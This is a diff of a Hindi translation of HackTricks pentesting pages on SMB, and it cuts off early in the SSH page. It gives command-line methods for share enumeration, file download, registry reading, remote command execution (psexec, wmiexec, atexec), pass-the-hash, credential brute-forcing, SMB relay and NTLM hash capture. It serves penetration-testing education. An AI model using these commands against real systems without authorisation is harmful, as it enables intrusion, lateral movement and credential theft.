संभव है कि आपको होस्ट मशीन के किसी भी शेयर को दिखाने से रोक दिया गया हो और जब आप उन्हें सूचीबद्ध करने की कोशिश करते हैं तो ऐसा लगे कि कनेक्ट करने के लिए कोई शेयर ही नहीं हैं। इसलिए किसी शेयर से मैन्युअली कनेक्ट करने की एक छोटी कोशिश करना उपयोगी हो सकता है। Shares को मैन्युअली enumerate करने के लिए आप NT_STATUS_ACCESS_DENIED और NT_STATUS_BAD_NETWORK_NAME जैसे responses की तलाश कर सकते हैं, जब आप किसी valid session (e.g. null session or valid credentials) का उपयोग कर रहे हों। ये संकेत दे सकते हैं कि शेयर मौजूद है लेकिन आपका access नहीं है या शेयर बिल्कुल मौजूद ही नहीं है।
|
हो सकता है कि आपको होस्ट मशीन के किसी भी shares को दिखाने से प्रतिबंधित किया गया हो और जब आप उन्हें सूचीबद्ध करने की कोशिश करते हैं तो ऐसा लगता है कि जुड़े जाने के लिए कोई shares नहीं हैं। इसलिए किसी share से मैन्युअली कनेक्ट करने का एक छोटा सा प्रयास करना उपयोगी हो सकता है। shares को मैन्युअली सूचीबद्ध करने के लिए, आप valid session (उदा. null session या valid credentials) का उपयोग करते हुए NT_STATUS_ACCESS_DENIED और NT_STATUS_BAD_NETWORK_NAME जैसे उत्तरों की तलाश कर सकते हैं। ये संकेत दे सकते हैं कि share मौजूद है और आपके पास इसका एक्सेस नहीं है या share बिल्कुल मौजूद ही नहीं है।
|
||||||
|
|
||||||
Common share names for windows targets are
|
Common share names for windows targets are
|
||||||
|
|
||||||
@ -214,12 +214,12 @@ Common share names for windows targets are
|
|||||||
|
|
||||||
(Common share names from _**Network Security Assessment 3rd edition**_)
|
(Common share names from _**Network Security Assessment 3rd edition**_)
|
||||||
|
|
||||||
आप इनसे कनेक्ट करने के लिए निम्नलिखित कमांड आज़मा सकते हैं
|
आप निम्नलिखित कमांड का उपयोग करके उनसे कनेक्ट करने की कोशिश कर सकते हैं
|
||||||
```bash
|
```bash
|
||||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||||
```
|
```
|
||||||
या यह script (null session का उपयोग करते हुए)
|
या यह script (null session का उपयोग करके)
|
||||||
```bash
|
```bash
|
||||||
#/bin/bash
|
#/bin/bash
|
||||||
|
|
||||||
@ -238,10 +238,10 @@ done
|
|||||||
```
|
```
|
||||||
उदाहरण
|
उदाहरण
|
||||||
```bash
|
```bash
|
||||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||||
```
|
```
|
||||||
### **Windows से शेयरों को सूचीबद्ध करें / तृतीय-पक्ष टूल्स के बिना**
|
### **Windows से shares सूचीबद्ध करना / थर्ड-पार्टी टूल्स के बिना**
|
||||||
|
|
||||||
PowerShell
|
PowerShell
|
||||||
```bash
|
```bash
|
||||||
@ -260,23 +260,23 @@ net share
|
|||||||
# List shares on a remote computer (including hidden ones)
|
# List shares on a remote computer (including hidden ones)
|
||||||
net view \\<ip> /all
|
net view \\<ip> /all
|
||||||
```
|
```
|
||||||
MMC स्नैप-इन (ग्राफिकल)
|
MMC Snap-in (ग्राफिकल)
|
||||||
```shell
|
```shell
|
||||||
# Shared Folders: Shared Folders > Shares
|
# Shared Folders: Shared Folders > Shares
|
||||||
fsmgmt.msc
|
fsmgmt.msc
|
||||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||||
compmgmt.msc
|
compmgmt.msc
|
||||||
```
|
```
|
||||||
explorer.exe (ग्राफिकल), `\\<ip>\` दर्ज करें ताकि उपलब्ध non-hidden shares दिखाई दें।
|
explorer.exe (ग्राफिकल), `\\<ip>\` दर्ज करें ताकि उपलब्ध non-hidden shares देखें।
|
||||||
|
|
||||||
### एक shared folder माउंट करें
|
### एक shared फ़ोल्डर माउंट करें
|
||||||
```bash
|
```bash
|
||||||
mount -t cifs //x.x.x.x/share /mnt/share
|
mount -t cifs //x.x.x.x/share /mnt/share
|
||||||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||||
```
|
```
|
||||||
### **डाउनलोड फाइलें**
|
### **डाउनलोड फाइलें**
|
||||||
|
|
||||||
पिछले अनुभाग पढ़ें ताकि आप credentials/Pass-the-Hash के साथ कनेक्ट करना सीख सकें।
|
कनेक्ट करने के तरीके जानने के लिए पिछले अनुभाग पढ़ें (credentials/Pass-the-Hash).
|
||||||
```bash
|
```bash
|
||||||
#Search a file and download
|
#Search a file and download
|
||||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||||
@ -291,12 +291,12 @@ smbclient //<IP>/<share>
|
|||||||
> mget *
|
> mget *
|
||||||
#Download everything to current directory
|
#Download everything to current directory
|
||||||
```
|
```
|
||||||
कमांड:
|
कमांड्स:
|
||||||
|
|
||||||
- mask: निर्देशिका के भीतर फ़ाइलों को फ़िल्टर करने के लिए उपयोग की जाने वाली mask को निर्दिष्ट करता है (e.g. "" for all files)
|
- mask: डायरेक्टरी के भीतर फ़ाइलों को फ़िल्टर करने के लिए उपयोग किए जाने वाले mask को निर्दिष्ट करता है (उदाहरण के लिए "" सभी फ़ाइलों के लिए)
|
||||||
- recurse: recursion को चालू करता है (डिफ़ॉल्ट: off)
|
- recurse: recursion को सक्रिय करता है (डिफ़ॉल्ट: off)
|
||||||
- prompt: फ़ाइल नामों के लिए prompting को बंद करता है (डिफ़ॉल्ट: on)
|
- prompt: फ़ाइल नामों के लिए prompting को बंद करता है (डिफ़ॉल्ट: on)
|
||||||
- mget: होस्ट से क्लाइंट मशीन पर mask से मेल खाने वाली सभी फ़ाइलें कॉपी करता है
|
- mget: होस्ट से क्लाइंट मशीन पर mask से मेल खाने वाली सभी फ़ाइलों को कॉपी करता है
|
||||||
|
|
||||||
(_smbclient के manpage से जानकारी_)
|
(_smbclient के manpage से जानकारी_)
|
||||||
|
|
||||||
@ -312,15 +312,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
|||||||
```bash
|
```bash
|
||||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||||
```
|
```
|
||||||
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
|
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains **credentials**.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
|
> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
|
||||||
> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
|
> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
|
||||||
|
|
||||||
## रजिस्ट्री पढ़ें
|
## Registry पढ़ें
|
||||||
|
|
||||||
You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
|
आप कुछ खोजे हुए **credentials** का उपयोग करके **read the registry** करने में सक्षम हो सकते हैं। Impacket **`reg.py`** आपको कोशिश करने की अनुमति देता है:
|
||||||
```bash
|
```bash
|
||||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||||
@ -328,35 +328,49 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
|||||||
```
|
```
|
||||||
## Post Exploitation
|
## Post Exploitation
|
||||||
|
|
||||||
The **डिफ़ॉल्ट कॉन्फ़िगरेशन** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **खतरनाक कॉन्फ़िग्स**:
|
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **खतरनाक कॉन्फ़िग**:
|
||||||
|
|
||||||
| **सेटिंग** | **विवरण** |
|
| **Setting** | **Description** |
|
||||||
| --------------------------- | ------------------------------------------------------------------- |
|
| --------------------------- | ------------------------------------------------------------------- |
|
||||||
| `browseable = yes` | क्या वर्तमान शेयर में उपलब्ध शेयरों की सूची दिखाने की अनुमति देता है? |
|
| `browseable = yes` | वर्तमान share में उपलब्ध shares की सूची दिखाने की अनुमति देता है? |
|
||||||
| `read only = no` | क्या फ़ाइलों का निर्माण और संशोधन रोकता है? |
|
| `read only = no` | फाइलों के निर्माण और संशोधन पर रोक लगाता है? |
|
||||||
| `writable = yes` | क्या उपयोगकर्ताओं को फ़ाइलें बनाने और संशोधित करने की अनुमति देता है? |
|
| `writable = yes` | उपयोगकर्ताओं को फाइलें बनाने और संशोधित करने की अनुमति देता है? |
|
||||||
| `guest ok = yes` | क्या पासवर्ड के बिना सेवा से कनेक्ट करने की अनुमति देता है? |
|
| `guest ok = yes` | पासवर्ड के बिना सेवा से कनेक्ट करने की अनुमति देता है? |
|
||||||
| `enable privileges = yes` | क्या विशेष SID को सौंपे गए अधिकारों का सम्मान करता है? |
|
| `enable privileges = yes` | किसी विशिष्ट SID को आवंटित अधिकारों का सम्मान करता है? |
|
||||||
| `create mask = 0777` | नए बनाए गए फ़ाइलों को कौन से permissions असाइन किए जाने चाहिए? |
|
| `create mask = 0777` | नए बनाए गए फाइलों को किन अनुमतियों के साथ असाइन किया जाना चाहिए? |
|
||||||
| `directory mask = 0777` | नए बनाए गए डिरेक्टरीज़ को कौन से permissions असाइन किए जाने चाहिए? |
|
| `directory mask = 0777` | नई निर्देशिकाओं को किन अनुमतियों के साथ असाइन किया जाना चाहिए? |
|
||||||
| `logon script = script.sh` | किस स्क्रिप्ट को उपयोगकर्ता के लॉगिन पर चलाया जाना चाहिए? |
|
| `logon script = script.sh` | उपयोगकर्ता के लॉगिन पर कौन सा स्क्रिप्ट चलाया जाना चाहिए? |
|
||||||
| `magic script = script.sh` | जब स्क्रिप्ट बंद हो जाए तो किस स्क्रिप्ट को चलाना चाहिए? |
|
| `magic script = script.sh` | जब स्क्रिप्ट बंद हो जाए तो कौन सा स्क्रिप्ट चलना चाहिए? |
|
||||||
| `magic output = script.out` | magic script के आउटपुट को कहाँ स्टोर किया जाना चाहिए? |
|
| `magic output = script.out` | magic स्क्रिप्ट का आउटपुट कहाँ स्टोर किया जाना चाहिए? |
|
||||||
|
|
||||||
The command `smbstatus` gives information about the **सर्वर** and about **कौन जुड़ा हुआ है**.
|
The command `smbstatus` gives information about the **सर्वर** and about **कौन जुड़ा हुआ है**.
|
||||||
|
|
||||||
## Kerberos का उपयोग करके प्रमाणीकरण
|
## Kerberos का उपयोग करके प्रमाणीकृत करें
|
||||||
|
|
||||||
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
|
You can **प्रमाणीकृत** to **kerberos** using the tools **smbclient** and **rpcclient**:
|
||||||
```bash
|
```bash
|
||||||
smbclient --kerberos //ws01win10.domain.com/C$
|
smbclient --kerberos //ws01win10.domain.com/C$
|
||||||
rpcclient -k ws01win10.domain.com
|
rpcclient -k ws01win10.domain.com
|
||||||
```
|
```
|
||||||
## **कमांड निष्पादित करें**
|
Kerberos-only परिवेशों में (NTLM निष्क्रिय), SMB के खिलाफ NTLM प्रयास `STATUS_NOT_SUPPORTED` वापस कर सकते हैं। सामान्य Kerberos समस्याओं को ठीक करें और Kerberos auth को मजबूर करें:
|
||||||
|
```bash
|
||||||
|
# sync clock to avoid KRB_AP_ERR_SKEW
|
||||||
|
sudo ntpdate <dc.fqdn>
|
||||||
|
|
||||||
|
# use Kerberos with tooling (reads your TGT from ccache)
|
||||||
|
netexec smb <dc.fqdn> -k
|
||||||
|
```
|
||||||
|
पूर्ण client सेटअप के लिए (krb5.conf generation, kinit, SSH GSSAPI/SPN caveats) देखें:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../pentesting-kerberos-88/README.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
## **कमांड्स चलाएं**
|
||||||
|
|
||||||
### **crackmapexec**
|
### **crackmapexec**
|
||||||
|
|
||||||
crackmapexec किसी भी **mmcexec, smbexec, atexec, wmiexec** में से किसी का **abusing** कर के कमांड निष्पादित कर सकता है, जहाँ **wmiexec** **default** method है। आप `--exec-method` parameter के साथ यह संकेत कर सकते हैं कि आप किस option का उपयोग करना चाहेंगे:
|
crackmapexec कमांड्स चला सकता है **दुरुपयोग करके** किसी भी **mmcexec, smbexec, atexec, wmiexec** का, जहाँ **wmiexec** **डिफ़ॉल्ट** मेथड है। आप पैरामीटर `--exec-method` के साथ यह संकेत कर सकते हैं कि आप किस विकल्प का उपयोग करना पसंद करेंगे:
|
||||||
```bash
|
```bash
|
||||||
apt-get install crackmapexec
|
apt-get install crackmapexec
|
||||||
|
|
||||||
@ -380,9 +394,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
|||||||
```
|
```
|
||||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||||
|
|
||||||
दोनों विकल्प पीड़ित मशीन में SMB के माध्यम से _\pipe\svcctl_ का उपयोग करके **एक नई सेवा बनाएँगे** और इसका उपयोग **कुछ निष्पादित करने के लिए** करेंगे (**psexec** एक executable file को ADMIN$ share पर **अपलोड** करेगा और **smbexec** **cmd.exe/powershell.exe** की ओर पॉइंट करेगा और arguments में payload डालेगा --**file-less technique-**-).\
|
दोनों विकल्प पीड़ित मशीन पर (SMB के माध्यम से _\pipe\svcctl_ का उपयोग करते हुए) एक नई service बनाएँगे और इसका उपयोग कुछ execute करने के लिए करेंगे (**psexec** एक executable फ़ाइल को ADMIN$ शेयर पर **upload** करेगा और **smbexec** **cmd.exe/powershell.exe** की ओर इशारा करेगा तथा arguments में payload डालेगा --**file-less technique-**-).\
|
||||||
**अधिक जानकारी** [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) और [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
**More info** about [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||||
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है
|
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
||||||
```bash
|
```bash
|
||||||
#If no password is provided, it will be prompted
|
#If no password is provided, it will be prompted
|
||||||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||||
@ -390,19 +404,19 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
|||||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||||
```
|
```
|
||||||
**पैरामीटर**`-k` का उपयोग करके आप **NTLM** की बजाय **kerberos** के साथ प्रमाणीकृत कर सकते हैं
|
**पैरामीटर**`-k` का उपयोग करके आप **kerberos** के साथ प्रमाणीकृत कर सकते हैं, **NTLM** के बजाय
|
||||||
|
|
||||||
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
||||||
|
|
||||||
डिस्क को छुए बिना या कोई नया service चलाए बिना DCOM के माध्यम से चुपके से एक command shell चलाएँ **port 135.**\
|
डिस्क को छुए बिना या कोई नया service चलाए बिना DCOM के माध्यम से **port 135.** पर चुपके से एक command shell निष्पादित करें।\
|
||||||
यह **kali** में /usr/share/doc/python3-impacket/examples/ पर स्थित है/
|
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है
|
||||||
```bash
|
```bash
|
||||||
#If no password is provided, it will be prompted
|
#If no password is provided, it will be prompted
|
||||||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||||
```
|
```
|
||||||
**पैरामीटर**`-k` का उपयोग करके आप **NTLM** की बजाय **kerberos** के साथ प्रमाणीकृत कर सकते हैं।
|
**parameter**`-k` का उपयोग करके आप **kerberos** के साथ प्रमाणीकरण कर सकते हैं, **NTLM** के बजाय।
|
||||||
```bash
|
```bash
|
||||||
#If no password is provided, it will be prompted
|
#If no password is provided, it will be prompted
|
||||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||||
@ -411,8 +425,8 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
|
|||||||
```
|
```
|
||||||
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
||||||
|
|
||||||
Task Scheduler के माध्यम से कमांड चलाएँ (SMB के जरिए _\pipe\atsvc_ का उपयोग करके).\
|
Task Scheduler के माध्यम से कमांड चलाएँ (SMB के माध्यम से _\pipe\atsvc_ का उपयोग करके).\
|
||||||
**kali** में यह स्थित है: /usr/share/doc/python3-impacket/examples/
|
यह **kali** में /usr/share/doc/python3-impacket/examples/ पर स्थित है
|
||||||
```bash
|
```bash
|
||||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||||
@ -421,36 +435,36 @@ Task Scheduler के माध्यम से कमांड चलाएँ
|
|||||||
|
|
||||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||||
|
|
||||||
### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)
|
### ksmbd का आक्रमण सतह और SMB2/SMB3 प्रोटोकॉल fuzzing (syzkaller)
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
ksmbd-attack-surface-and-fuzzing-syzkaller.md
|
ksmbd-attack-surface-and-fuzzing-syzkaller.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## **Bruteforce users credentials**
|
## **Bruteforce उपयोगकर्ता प्रमाण-पत्र**
|
||||||
|
|
||||||
**यह अनुशंसित नहीं है, यदि आप अधिकतम अनुमत प्रयासों से अधिक कोशिश करते हैं तो आप किसी खाते को ब्लॉक कर सकते हैं**
|
**यह अनुशंसित नहीं है, यदि आप अधिकतम अनुमत कोशिशों से अधिक बार प्रयास करते हैं तो खाता ब्लॉक हो सकता है।**
|
||||||
```bash
|
```bash
|
||||||
nmap --script smb-brute -p 445 <IP>
|
nmap --script smb-brute -p 445 <IP>
|
||||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||||
```
|
```
|
||||||
## SMB relay attack
|
## SMB relay attack
|
||||||
|
|
||||||
यह हमला Responder toolkit का उपयोग करके आंतरिक नेटवर्क पर **capture SMB authentication sessions** को पकड़ता है, और उन्हें **relays** करके एक **target machine** पर भेजता है। यदि authentication **session सफल होता है**, तो यह स्वतः ही आपको एक **system** **shell** में डाल देगा।\
|
This attack uses the Responder toolkit to **SMB authentication sessions** को आंतरिक नेटवर्क पर कैप्चर करने के लिए और इन्हें एक **target machine** पर **relay** करने के लिए उपयोग करता है। यदि प्रमाणीकरण **session सफल** होता है, तो यह स्वतः ही आपको **system** **shell** में पहुंचा देगा।\
|
||||||
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||||
|
|
||||||
## SMB-Trap
|
## SMB-Trap
|
||||||
|
|
||||||
Windows लाइब्रेरी URLMon.dll स्वचालित रूप से host के साथ authenticate करने की कोशिश करती है जब कोई पेज SMB के माध्यम से किसी कंटेंट तक पहुँचने की कोशिश करता है, उदाहरण के लिए: `img src="\\10.10.10.10\path\image.jpg"`
|
Windows लाइब्रेरी URLMon.dll स्वचालित रूप से होस्ट के साथ authenticate करने की कोशिश करती है जब कोई पेज SMB के माध्यम से किसी सामग्री को एक्सेस करने की कोशिश करता है, उदाहरण के लिए: `img src="\\10.10.10.10\path\image.jpg"`
|
||||||
|
|
||||||
This happens with the functions:
|
यह निम्नलिखित functions के साथ होता है:
|
||||||
|
|
||||||
- URLDownloadToFile
|
- URLDownloadToFile
|
||||||
- URLDownloadToCache
|
- URLDownloadToCache
|
||||||
- URLOpenStream
|
- URLOpenStream
|
||||||
- URLOpenBlockingStream
|
- URLOpenBlockingStream
|
||||||
|
|
||||||
Which are used by some browsers and tools (like Skype)
|
ये कुछ browsers और tools (जैसे Skype) द्वारा उपयोग किए जाते हैं।
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -460,7 +474,7 @@ Which are used by some browsers and tools (like Skype)
|
|||||||
|
|
||||||
## NTLM Theft
|
## NTLM Theft
|
||||||
|
|
||||||
SMB Trapping के समान, लक्ष्य सिस्टम पर (उदाहरण के लिए SMB के माध्यम से) malicious फाइलें रखकर एक SMB authentication प्रयास उत्पन्न किया जा सकता है, जिससे NetNTLMv2 hash को Responder जैसे tool से intercept किया जा सकता है। इसके बाद उस hash को offline में crack किया जा सकता है या [SMB relay attack](#smb-relay-attack) में उपयोग किया जा सकता है।
|
SMB Trapping के समान, किसी target system पर malicious files रखना (उदाहरण के लिए SMB के माध्यम से) एक SMB authentication प्रयास उत्पन्न कर सकता है, जिससे NetNTLMv2 hash को Responder जैसे टूल से इंटरसेप्ट किया जा सकता है। फिर इस hash को ऑफ़लाइन क्रैक किया जा सकता है या [SMB relay attack](#smb-relay-attack) में उपयोग किया जा सकता है।
|
||||||
|
|
||||||
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||||
|
|
||||||
@ -497,8 +511,8 @@ getArch.py -target {IP}
|
|||||||
|
|
||||||
With Creds
|
With Creds
|
||||||
smbmap -H {IP} -u {Username} -p {Password}
|
smbmap -H {IP} -u {Username} -p {Password}
|
||||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||||
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||||||
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||||||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||||||
@ -533,4 +547,10 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||||||
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||||||
|
|
||||||
```
|
```
|
||||||
|
## संदर्भ
|
||||||
|
|
||||||
|
- [NetExec (CME) wiki – Kerberos उपयोग](https://www.netexec.wiki/)
|
||||||
|
- [Pentesting Kerberos (88) – क्लाइंट सेटअप और समस्या निवारण](../pentesting-kerberos-88/README.md)
|
||||||
|
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -2,9 +2,9 @@
|
|||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Basic Information
|
## मूल जानकारी
|
||||||
|
|
||||||
**SSH (Secure Shell or Secure Socket Shell)** एक नेटवर्क प्रोटोकॉल है जो असुरक्षित नेटवर्क पर एक कंप्यूटर से सुरक्षित कनेक्शन सक्षम करता है। यह दूरस्थ सिस्टम तक पहुँचने पर डेटा की गोपनीयता और अखंडता बनाए रखने के लिए आवश्यक है।
|
**SSH (Secure Shell or Secure Socket Shell)** एक नेटवर्क प्रोटोकॉल है जो एक असुरक्षित नेटवर्क पर कंप्यूटर से सुरक्षित कनेक्शन सक्षम करता है। यह रिमोट सिस्टम्स तक पहुंचते समय डेटा की गोपनीयता और अखंडता बनाए रखने के लिए आवश्यक है।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 22
|
**डिफ़ॉल्ट पोर्ट:** 22
|
||||||
```
|
```
|
||||||
@ -12,40 +12,40 @@
|
|||||||
```
|
```
|
||||||
**SSH सर्वर:**
|
**SSH सर्वर:**
|
||||||
|
|
||||||
- [openSSH](http://www.openssh.org) – OpenBSD SSH, BSD, Linux वितरणों और Windows 10 से Windows में शामिल
|
- [openSSH](http://www.openssh.org) – OpenBSD SSH, BSD, Linux वितरणों और Windows में Windows 10 से शिप किया गया है
|
||||||
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – कम मेमोरी और प्रोसेसर संसाधनों वाले वातावरण के लिए SSH कार्यान्वयन, OpenWrt में शामिल
|
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – कम मेमोरी और प्रोसेसर संसाधनों वाले वातावरण के लिए SSH इम्प्लीमेंटेशन, OpenWrt में शिप किया गया है
|
||||||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Windows के लिए SSH कार्यान्वयन, क्लाइंट सामान्यतः उपयोग किया जाता है लेकिन सर्वर का उपयोग कम होता है
|
